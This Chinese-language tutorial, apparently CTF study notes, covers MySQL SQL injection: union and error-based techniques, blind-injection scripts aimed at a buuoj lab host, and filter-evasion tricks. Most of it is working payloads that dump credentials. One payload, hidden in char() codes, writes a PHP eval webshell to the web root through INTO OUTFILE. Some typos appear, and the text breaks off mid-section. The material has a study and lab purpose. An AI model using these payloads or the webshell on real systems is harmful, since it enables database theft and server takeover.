很多时候联合查询也会和其他的几种查询方式一起使用。

联合查询用到的SQL语法知识

UNION可以将前后两个查询语句的结果拼接到一起,但是会自动去重。

UNION ALL功能相同,但是会显示所有数据,不会去重。

具有类似功能的还有JOIN https://blog.csdn.net/julielele/article/details/82023577 但是是一个对库表等进行连接的语句,我们在后续的绕过中会提到利用它来进行无列名注入。

注入流程
  1. 判断是否存在注入,注入是字符型还是数字型,闭合情况,绕过方式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ?id=1' 
    ?id=1"
    ?id=1')
    ?id=1")
    ?id=1' or 1#
    ?id=1' or 0#
    ?id=1' or 1=1#
    ?id=1' and 1=2#
    ?id=1' and sleep(5)#
    ?id=1' and 1=2 or '
    ?id=1\
  2. 猜测SQL查询语句中的字段数

    • 使用 order/group by 语句,通过往后边拼接数字指导页面报错,可确定字段数量。
    1
    2
    3
    4
    5
    6
    1' order by 1#
    1' order by 2#
    1' order by 3#
    1 order by 1
    1 order by 2
    1 order by 3
    • 使用 union select 联合查询,不断在 union select 后面加数字,直到不报错,即可确定字段数量。
    1
    2
    3
    4
    5
    6
    1' union select 1#
    1' union select 1,2#
    1' union select 1,2,3#
    1 union select 1#
    1 union select 1,2#
    1 union select 1,2,3#
  3. 确定显示数据的字段位置
    使用 union select 1,2,3,4,… 根据回显的字段数,判断回显数据的字段位置。

    1
    2
    3
    4
    5
    6
    -1' union select 1#
    -1' union select 1,2#
    -1' union select 1,2,3#
    -1 union select 1#
    -1 union select 1,2#
    -1 union select 1,2,3#

    注意:

    • 若确定页面有回显,但是页面中并没有我们定义的特殊标记数字出现,可能是页面进行的是单行数据输出,我们让前边的 select 查询条件返回结果为空即可。
    • ⼀定要拼接够足够的字段数,否则SQL语句报错。
  4. 在回显数据的字段位置使用 union select 将我们所需要的数据查询出来即可。包括但不限于:

    • 获取当前数据库名
    1
    -1' union select 1,2,database()--+
    • 获取当前数据库的表名
    1
    2
    3
    -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

    -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
    • 获取表中的字段名
    1
    2
    3
    -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

    -1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
    • 获取数据
    1
    2
    3
    -1' union select 1,2,group_concat(id,0x7c,username,0x7c,password) from users--+

    -1' union select 1,(select group_concat(id,0x7c,username,0x7c,password) from users),3--+

一般情况下就是这样的一个顺序,确定联合查询的字段数->确定联合查询回显位置->爆库->爆表->爆字段->爆数据

报错注入:

报错注入用到的SQL语法知识

大体的思路就是利用报错回显,同时我们的查询指令或者SQL函数会被执行,报错的过程可能会出现在查询或者插入甚至删除的过程中。

0x00 floor()(8.x>mysql>5.0)[双查询报错注入]

函数返回小于或等于指定值(value)的最小整数,取整

通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1

group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。

group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

1
2
3
?id=0’ union select 1,2,3 from(select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
/*拆解出来就是下面的语句*/
concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x

可以看到这里实际上不光使用了报错注入还是用了刚刚的联合查询,同时还是一个双查询的报错注入,当在一个聚合函数,比如count()函数后面如果使用group by分组语句的话,就可能会把查询的一部分以错误的形式显示出来。但是要多次测试才可以得到报错

大体思路就是当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来,但是因为随机数要测试多次才能得到报错,上面报错注入函数中的第一个Floor()就是这种情况。

0x01 extractvalue() [Writeup_2023_0xGame_Week2 - rdj’s Blog (notnad3.github.io)](https://notnad3.github.io/2023/10/01/[Week 2] ez_upload/)【例题,sql注入】

对XML文档进行查询的函数

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

1
and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))

其实就是相当于我们熟悉的HTML文件中用

标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))

img

使用concat()拼接 ‘ / ‘ 效果相同,

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))

img

这里在’anything’中查询不到 位置是 /database()的内容,

但也没有语法错误,不会报错,下面故意写入语法错误:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

img

可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。

有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位

这里查询前5位示意:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))

img

0x02 UPDATEXML (XML_document, XPath_string, new_value);

  • 第一个参数:XML_document是String格式,为XML文档对象的名称 文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

由于updatexml的第二个参数需要Xpath格式的字符串,如果不符合xml格式的语法,就可以实现报错注入了。

这也是一种非常常见的报错注入的函数。

1
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

0x03 exp(x)

返回 e 的 x 次方,当 数据过大 溢出时报错,即 x > 709

1
mail=') or exp(~(select * from (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))) as asd))--+

0x04 geometrycollection() mysql 版本5.5

(1)函数解释:
GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。

(2)官方文档中举例的用法如下:
GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))

(3)报错原因:
因为MYSQL无法使用这样的字符串画出图形,所以报错

1
2
3
1') and geometrycollection((select * from(select * from(select version())a)b)); %23
1') and geometrycollection((select * from(select * from(select column_name from information_schema.columns where table_name='manage' limit 0,1)a)b)); %23
1') and geometrycollection((select * from(select * from(select distinct concat(0x23,user,0x2a,password,0x23,name,0x23) FROM manage limit 0,1)a)b)); %23

这里和我们上面学过的cancat和上一关学的内置表有两个梦幻联动

0x05 multipoint() mysql 版本5.5

(1)函数解释:
MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。

(2)报错原因:
同样是因为无法使用字符串画出图形与geometrycollection类似

1
1') and multipoint((select * from(select * from(select version())a)b)); %23

0x06 polygon()

polygon来自希腊。 “Poly” 意味 “many” , “gon” 意味 “angle”.
Polygon是代表多边几何对象的平面Surface。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。

1
') or polygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))--+

0x07 mutipolygon()

1
') or multipolygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))

0x08 linestring()

报错原理:
mysql的有些几何函数( 例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() )对参数要求为几何数据,若不满足要求则会报错,适用于5.1-5.5版本 (5.0.中存在但是不会报错)

1
1') and linestring((select * from(select * from(select database())a)b))--+;

0x09 multilinestring()

同上

0x0a ST.LatFromGeoHash()(mysql>=5.7.x)

1
') or ST_LatFromGeoHash((select * from(select * from(select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))))a)b))--+

0x0b ST.LongFromGeoHash

同上 嵌套查询

0x0c ST_Pointfromgeohash (mysql>5.7)

1
2
3
4
5
#获取数据库版本信息
')or ST_PointFromGeoHash(version(),1)--+
')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+
')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+
')or ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

0x0d GTID (MySQL >= 5.6.X - 显错<=200)

0x01 GTID
GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

GTID的表现形式 -> GTID =source_id:transaction_id其中source_id一般为数据库的uuid,transaction_id为事务ID,从1开始3E11FA47-71CA-11E1-9E33-C80AA9429562:23如上面的GTID可以看出该事务为UUID为3E11FA47-71CA-11E1-9E33-C80AA9429562的数据库的23号事务

GTID集合(一组全局事务标识符):
GTID集合为多个单GTID和一个范围内GTID的集合,他主要用于如下地方

  • gtid_executed 系统变量
  • gtid_purged系统变量
  • GTID_SUBSET() 和 GTID_SUBTRACT()函数

格式如下:

1
3E11FA47-71CA-11E1-9E33-C80AA9429562:1-5

0X02 函数详解

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

  1. GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
  2. GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
    正常情况如下

GTID_SUBSET(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:23’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’)GTID_SUBTRACT(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25’)

0x03 注入过程( payload )

GTID_SUBSET函数

1
') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

GTID_SUBTRACT

1
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

上面是一些常见或者不常见的能够报错注入的函数,报错注入就是利用这些函数,在我们的查询语句中的这些函数内的某个位置再嵌套一个子查询,利用产生的报错将子查询的结果回显出来,每个报错注入的函数都搭配了网上找到的简单的payload,情况总是在变化,注意一下函数中子查询所在的位置即可。

使用不存在的函数来报错

img

随便使用一个不存在的函数,可能会得到当前所在的数据库名称。

使用 join using() 报错获取列名
  • 一般应用于无列名注入,下文绕过中会细讲。

通过关键字join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接,会由于冗余的原因(相同列名存在),而发生错误。并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。

下面演示如何通过join…using来获取列名:

1
2
3
4
5
6
7
8
# 获取第一列的列名:
1' union select * from (select * from users as a join users as b)as c#

# 使用using()依次获取后续的列名
1' union all select * from (select * from users as a join users b using(id))c#
1' union all select * from (select * from users as a join users b using(id,username))c#
1' union all select * from (select * from users as a join users b using(id,username,password))c#
# 数据库中as主要作用是起别名, 常规来说as都可以省略,但是为了增加可读性, 不建议省略
注入流程

大体的注入流程就是在联合查询不成功的情况下尝试使用报错注入的函数得到回显子查询结果的报错结果。

双报错注入详解:

在此之前,我们理解一下子查询,查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。

看一个简单的例子:

1
Select concat((select database()));

真正执行的时候,先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。

原理:

双注入查询需要理解四个函数/语句

1
2
3
4
1. Rand() //随机函数
2. Floor() //取整函数
3. Count() //汇总函数
4. Group by clause //分组语句

简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。[本博主注:这个是Mysql的bug,详见链接]

以本地一个名为Security的数据库为例

1
SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));

不要怕。先看最里面的SELECT database() 这个就返回数据库名,这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0,就是1.然后把这两个的结果进行concat连接,那么结果不是security0就是security1了。

img

如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录,这里users表里有13个用户,所以返回了13条

img

如果是从information_schema.schemata里,这个表里包含了mysql的所有数据库名。这里本机有三个数据库。所以会返回三个结果

img

现在我们准备加上Group By 语句了。
我们使用information_schema.tables 或 information_schema.columns者两个表来查询。因为表里面一般数据很多。容易生成很多的随机值,不至于全部是security0,这样就不能查询出结果了。

1
select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

这里我先解释一下。

我们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下两个结果了。

img

注意这里的database()可以替换成任何你想查的函数,比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。

最后的亮点来了。。

我们输入这条:注意多了一个聚合函数count(*)

1
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

img

报错了

1
ERROR 1062 (23000): Duplicate entry 'security1' for key ‘group_key’

原因是重复的键值。

可以看到security就是我们的查询结果了

想要查询版本就这样:

1
select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;

看看替换了database()为version()

img

再看一个

1
select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a;

报错

1
ERROR 1062 (23000): Duplicate entry '~root@localhost~1' for key 'group_key'

这里的~这个符号只是为了让结果更清晰。

“常见”绕过:

结尾注释符绕过

Mysql中常见的注释符

1
、#    %23    --+或-- -    ;%00

如果所有的注释符全部被过滤了,把我们还可以尝试直接使用引号进行闭合,这种方法很好用。

字符串变换绕过

1
2
3
4
5
6
7
8
# 大小写绕过
-1' UnIoN SeLeCt 1,2,database()--+

# 双写绕过
-1' uniunionon selselectect 1,2,database()--+

# 字符串拼接绕过
1';set @a=concat("sel","ect * from users");prepare sql from @a;execute sql;

过滤 and、or 绕过

管道符
1
2
and => &&
or => ||
使用^进行异或盲注绕过

异或运算规则:
1^1=0 0^0=0 0^1=1
1^1^1=0 1^1^0=0
构造payload:'^ascii(mid(database(),1,1)=98)^0

注意这里会多加一个^0或1是因为在盲注的时候可能出现了语法错误也无法判断,而改变这里的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的.

过滤空格绕过

以下字符可以代替空格:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 使用注释符/**/代替空格:
select/**/database();

# 使用加号+代替空格:(只适用于GET方法中)
select+database();
# 注意: 加号+在URL中使⽤记得编码为%2B: select%2Bdatabase(); (python中不用)

# 使⽤括号嵌套:
select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());

# 使⽤其他不可⻅字符代替空格:
%09, %0a, %0b, %0c, %0d, %a0

#利用``分隔进行绕过
select host,user from user where user='a'union(select`table_name`,`table_type`from`information_schema`.`tables`);

同时任然可以利用异或符号进行盲注,我i们可以看到上面的payload中完全可以不存在空格。

过滤括号绕过

利用 order by 进行布尔盲注

上面有

过滤比较符号(=、<、>)绕过

比较符号一般也只出现在盲注中,所以都尽可能搭配了脚本。

使用 in() 绕过
1
2
3
4
/?id=' or ascii(substr((select database()),1,1)) in(114)--+    // 错误
/?id=' or ascii(substr((select database()),1,1)) in(115)--+ // 正常回显

/?id=' or substr((select database()),1,1) in('s')--+ // 正常回显

综上所述,很明显和普通的布尔盲注差不多,于是写个GET的二分法盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = "http://b8e2048e-3513-42ad-868d-44dbb1fba5ac.node3.buuoj.cn/Less-8/?id="

payload = "' or ascii(substr((select database()),{0},1)) in({1})--+"
flag = ''
if __name__ == "__main__":
for i in range(1, 100):
for j in range(37,128):
url = "http://b8e2048e-3513-42ad-868d-44dbb1fba5ac.node3.buuoj.cn/Less-8/?id=' or ascii(substr((select database()),{0},1)) in({1})--+".format(i,j)
r = requests.get(url=url)
if "You are in" in r.text:
flag += chr(j)
print(flag)
LIKE 注入

在LIKE子句中,百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线 _ 通配符允许匹配任何单个字符匹配成功则返回1,反之返回0,可用于sql盲注。

  1. 判断数据库长度

可用length()函数,也可用_,如:

1
/?id=' or database() like '________'--+  // 回显正常
  1. 判断数据库名
1
2
3
4
5
/?id=' or database() like 's%' --+
/?id=' or (select database()) like 's%' --+
或者:
/?id=' or database() like 's_______' --+
/?id=' or (select database()) like 's_______' --+

如上图所示,回显正常,说明数据库名的第一个字符是s。

综上所述,很明显和普通的布尔盲注差不多,于是写个GET的二分法盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import string

# strs = string.printable
strs = string.ascii_letters + string.digits + '_'
url = "http://b8e2048e-3513-42ad-868d-44dbb1fba5ac.node3.buuoj.cn/Less-8/?id="

payload = "' or (select database()) like '{}%'--+"

if __name__ == "__main__":
name = ''
for i in range(1, 40):
char = ''
for j in strs:
payloads = payload.format(name + j)
urls = url + payloads
r = requests.get(urls)
if "You are in" in r.text:
name += j
print(j, end='')
char = j
break
if char == '#':
break
REGEXP 注入

REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。

  1. 判断数据库长度
1
/?id=' or (length(database())) regexp 8 --+  // 回显正常
  1. 判断数据库名
1
2
3
4
/?id=' or database() regexp '^s'--+    // 回显正常
/?id=' or database() regexp 'se'--+ // 回显正常, 不适用^和$进行匹配也可以
/?id=' or database() regexp '^sa'--+ // 报错
/?id=' or database() regexp 'y$'--+ // 回显正常

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import string

# strs = string.printable
strs = string.ascii_letters + string.digits + '_'
url = "http://b8e2048e-3513-42ad-868d-44dbb1fba5ac.node3.buuoj.cn/Less-8/?id="

payload = "' or (select database()) regexp '^{}'--+"

if __name__ == "__main__":
name = ''
for i in range(1, 40):
char = ''
for j in strs:
payloads = payload.format(name + j)
urls = url + payloads
r = requests.get(urls)
if "You are in" in r.text:
name += j
print(j, end='')
char = j
break
if char == '#':
break

以上脚本都要注意是掌握编写思路,不是干抄脚本。

过滤引号绕过

宽字节注入
前置知识

magic_quotes_gpc (魔术引号开关)

magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线,我们输入的东西如果不能闭合,那我们的输入就不会当作代码执行,就无法产生SQL注入。

addslashes()函数

返回在预定义字符之前添加反斜杠的字符串

预定义字符:单引号(’),双引号(”),反斜杠(\),NULL

宽字节概念:
  1. 单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)
  2. 多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
  3. UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。
  4. 常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。
  5. 宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字
成因与示例

前面讲到了GBK编码格式。GBK是双字符编码,那么为什么他们会和渗透测试发送了“巧遇”呢?

宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入。

例如说MySql的编码设置为了SET NAMES ‘gbk’或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。

宽字节SQL注入的根本原因:

宽字节SQL注入就是PHP发送请求到MySql时使用了语句

SET NAMES ‘gbk’ 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。

magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符’',来做一定的过滤

为了绕过magic_quotes_gpc的,于是乎我们开始导入宽字节的概念

我们发现\的编码是%5c,然后我们会想到传参一个字符想办法凑成一个gbk字符,例如:‘運’字是%df%5c

1
SELECT * FROM users WHERE id='1\'' LIMIT 0,1

这条语句因为\使我们无法去注入,那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運,然后成功绕过

1
SELECT * FROM users WHERE id='1�\'#' LIMIT 0,1
虽然是写在了过滤引号的位置但是其实不止适用于过滤引号
使用反斜杠 \ 逃逸 Sql 语句

如果没有过滤反斜杠的话,我们可以使用反斜杠将后面的引号转义,从而逃逸后面的 Sql 语句。

假设sql语句为:

1
select username, password from users where username='$username' and password='$password';

假设输入的用户名是 admin\,密码输入的是 or 1# 整个SQL语句变成了

1
select username,password from users where username='admin\' and password=' or 1#'

由于单引号被转义,and password=这部分都成了username的一部分,即

1
username='admin\' and password='

这样 or 1 就逃逸出来了,由此可控,可作为注入点了。

堆叠注入时利用 MySql 预处理

在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。

  1. PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字(hello)供之后调用
  2. EXECUTE:执行命令
  3. DEALLOCATE PREPARE:释放命令
  4. SET:用于设置变量(@a)
1
1';sEt @a=concat("sel","ect flag from flag_here");PRepare hello from @a;execute hello;#

这里还用大小写简单绕了一下其他过滤

MySql 预处理配合十六进制绕过关键字

基本原理如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
mysql> select hex('show databases');
+------------------------------+
| hex('show databases;') |
+------------------------------+
| 73686F7720646174616261736573 |
+------------------------------+
1 row in set (0.01 sec)

mysql> set @b=0x73686F7720646174616261736573;
Query OK, 0 rows affected (0.01 sec)

mysql> prepare test from @b;
Query OK, 0 rows affected (0.02 sec)
Statement prepared

mysql> execute test;
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
6 rows in set (0.02 sec)

即payload类似如下:

1
1';sEt @a=0x73686F7720646174616261736573;PRepare hello from @a;execute hello;#
MySql预处理配合字符串拼接绕过关键字

原理就是借助char()函数将ascii码转化为字符然后再使用concat()函数将字符连接起来,有了前面的基础这里应该很好理解了:

1
set @sql=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(39),char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(119),char(104),char(111),char(97),char(109),char(105),char(93),char(41),char(59),char(63),char(62),char(39),char(32),char(105),char(110),char(116),char(111),char(32),char(111),char(117),char(116),char(102),char(105),char(108),char(101),char(32),char(39),char(47),char(118),char(97),char(114),char(47),char(119),char(119),char(119),char(47),char(104),char(116),char(109),char(108),char(47),char(102),char(97),char(118),char(105),char(99),char(111),char(110),char(47),char(115),char(104),char(101),char(108),char(108),char(46),char(112),char(104),char(112),char(39),char(59));prepare s1 from @sql;execute s1;

也可以不用concat函数,直接用char函数也具有连接功能:

1
set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,119,104,111,97,109,105,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare s1 from @sql;execute s1;

过滤逗号绕过

当逗号被过滤了之后,我们便不能向下面这样正常的时候substr()函数和limit语句了:

1
2
select substr((select database()),1,1);
select * from users limit 0,1;
使用from…for…绕过

我们可以使用 from...for.. 语句替换 substr() 函数里的 ,1,1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
select substr((select database()) from 1 for 1);
# 此时 from 1 for 1 中的两个1分别代替 substr() 函数里的两个1

select substr((select database()) from 1 for 1); # s
select substr((select database()) from 2 for 1); # e
select substr((select database()) from 3 for 1); # c
select substr((select database()) from 4 for 1); # u
select substr((select database()) from 5 for 1); # r
select substr((select database()) from 6 for 1); # i
select substr((select database()) from 7 for 1); # t
select substr((select database()) from 8 for 1); # y

# 如果过滤了空格, 则可以使用括号来代替空格:
select substr((select database())from(1)for(1)); # s
select substr((select database())from(2)for(1)); # e
select substr((select database())from(3)for(1)); # c
select substr((select database())from(4)for(1)); # u
select substr((select database())from(5)for(1)); # r
select substr((select database())from(6)for(1)); # i
select substr((select database())from(7)for(1)); # t
select substr((select database())from(8)for(1)); # y

即,from用来指定从何处开始截取,for用来指定截取的长度,如果不加for的话则 from 1 就相当于从字符串的第一位一直截取到最后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
select substr((select database()) from 1);    # security
select substr((select database()) from 2); # ecurity
select substr((select database()) from 3); # curity
select substr((select database()) from 4); # urity
select substr((select database()) from 5); # rity
select substr((select database()) from 6); # ity
select substr((select database()) from 7); # ty
select substr((select database()) from 8); # y

# 也可以使用负数来倒着截取:
select substr((select database())from(-1)); # y
select substr((select database())from(-2)); # ty
select substr((select database())from(-3)); # ity
select substr((select database())from(-4)); # rity
select substr((select database())from(-5)); # urity
select substr((select database())from(-6)); # curity
select substr((select database())from(-7)); # ecurity
select substr((select database())from(-8)); # security
使用offset关键字绕过

我们可以使用 offset 语句替换 limit 语句里的逗号:

1
2
select * from users limit 1 offset 2;
# 此时 limit 1 offset 2 可以代替 limit 1,2
利用join与别名绕过
1
select host,user from user where user='a'union(select*from((select`table_name`from`information_schema`.`tables`where`table_schema`='mysql')`a`join(select`table_type`from`information_schema`.`tables`where`table_schema`='mysql')b));

过滤information_schema绕过与无列名注入 *

当过滤or时,这个库就会被过滤,那么mysql在被waf禁掉了information_schema库后还能有哪些利用思路呢?

information_schema 简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。在注入中,infromation_schema库的作用无非就是可以获取到table_schema、table_name、column_name这些数据库内的信息。

能够代替information_schema的有:

  • sys.schema_auto_increment_columns 只显示有自增的表

  • sys.schema_table_statistics_with_buffer

  • x$schema_table_statistics_with_buffer

    1
    select * from user where id = -1 union all select 1,2,3,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database();
  • mysql.innodb_table_stats

  • mysql.innodb_table_index

以上大部分特殊数据库都是在 mysql5.7 以后的版本才有,并且要访问sys数据库需要有相应的权限。

但是在使用上面的后两个表来获取表名之后select group_concat(table_name) from mysql.innodb_table_stats,我们是没有办法获得列的,这个时候就要采用无列名注入的办法。

无列名注入

123法

我们可以利用一些查询上的技巧来进行无列名、表名的注入。

在我们直接select 1,2,3时,会创建一个虚拟的表

img

如图所见列名会被定义为1,2,3

当我们结合了union联合查询之后

img

如图,我们的列名被替换为了对应的数字。也就是说,我们可以继续数字来对应列,如 3 对应了表里面的 password,进而我们就可以构造这样的查询语句来查询password:

1
select `3` from (select 1,2,3 union select * from users)a;

img

末尾的 a 可以是任意字符,用于命名

当然,多数情况下,反引号会被过滤。当反引号不能使用的时候,可以使用别名来代替:

1
select b from (select 1,2,3 as b union select * from admin)a;
join

我们可以利用爆错,借助join和using爆出列名,id为第一列,username为第二列,可以逐个爆出,爆出全部列名之后即可得到列内数据。

img

过滤其他关键字绕过

过滤 if 语句绕过

如果过滤了 if 关键字的话,我们可以使用case when语句绕过:

1
if(condition,1,0) <=> case when condition then 1 else 0 end

下面的if语句和case when语句是等效的:

1
2
3
0' or if((ascii(substr((select database()),1,1))>97),1,0)#

0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#

过滤 substr 绕过

使用 lpad/lpad
  • 使用lpad()和rpad()绕过substr()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
select lpad((select database()),1,1)    // s
select lpad((select database()),2,1) // se
select lpad((select database()),3,1) // sec
select lpad((select database()),4,1) // secu
select lpad((select database()),5,1) // secur
select lpad((select database()),6,1) // securi
select lpad((select database()),7,1) // securit
select lpad((select database()),8,1) // security

select rpad((select database()),1,1) // s
select rpad((select database()),2,1) // se
select rpad((select database()),3,1) // sec
select rpad((select database()),4,1) // secu
select rpad((select database()),5,1) // secur
select rpad((select database()),6,1) // securi
select rpad((select database()),7,1) // securit
select rpad((select database()),8,1) // security

lpad:函数语法:lpad(str1,length,str2)。其中str1是第一个字符串,length是结果字符串的长度,str2是一个填充字符串。如果str1的长度没有length那么长,则使用str2填充;如果str1的长度大于length,则截断。

rpad:同理

  • 使用left()绕过substr()
1
